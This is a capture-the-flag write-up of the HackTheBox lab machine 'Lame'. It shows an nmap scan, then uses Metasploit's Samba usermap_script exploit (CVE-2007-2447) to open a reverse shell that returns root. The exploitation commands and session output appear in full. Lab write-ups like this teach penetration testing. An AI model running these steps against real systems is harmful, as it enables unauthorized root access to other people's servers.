HackTheBox - Lame

Updated 22-07-2026
#htb #hackthebox #ctf #writeup #linux #metasploit #ftp #samba #usermap-script #cve-2007-2447 #vsftpd

Lame is one of HTB’s oldest retired machines and a staple for beginners. The attack surface is small but telling — a quick scan surfaces a notoriously vulnerable service version that leads straight to a root shell in a single step, with no privilege escalation required.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ ip=10.129.23.24; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-20 04:11 -0400
Nmap scan report for 10.129.23.24
Host is up (0.16s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.16.54
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest                                                                                                                   
|   authentication_level: user                                                                                                            
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h00m36s, deviation: 2h49m45s, median: 33s
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2026-06-20T04:12:13-04:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.84 seconds

Key findings from the scan:

  • 21/tcp — vsftpd 2.3.4 with anonymous login enabled (this version has a known backdoor, but it does not trigger here)
  • 22/tcp — OpenSSH 4.7p1
  • 139/tcp & 445/tcp — Samba 3.0.20-Debian, SMB signing disabled
  • 3632/tcp — distccd (GNU 4.2.4)

The Samba version is the most promising target.

Foothold

CVE-2007-2447 — Samba username map script RCE

Samba 3.0.20 is vulnerable to CVE-2007-2447, a command injection flaw in the username map script configuration option. When this option is enabled, user-supplied input passed to the script is not sanitised, allowing an attacker to inject arbitrary shell commands via shell metacharacters in the SMB username field. The vulnerability results in unauthenticated remote code execution as the user running Samba — in this case, root.

Launch Metasploit and select the usermap_script module:

1
$ msfconsole
1
msf > use exploit/multi/samba/usermap_script

Configure the required options:

1
2
3
msf exploit(multi/samba/usermap_script) > show options
msf exploit(multi/samba/usermap_script) > set rhosts 10.129.23.24
msf exploit(multi/samba/usermap_script) > set lhost tun0

Run the exploit:

1
2
3
4
5
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.16.54:4444 
[*] Command shell session 1 opened (10.10.16.54:4444 -> 10.129.23.24:46301) at 2026-06-20 04:57:34 -0400
whoami
root

A root shell is returned immediately — no privilege escalation required. Both the user flag (from /home/makis/) and the root flag (from /root/) are directly accessible.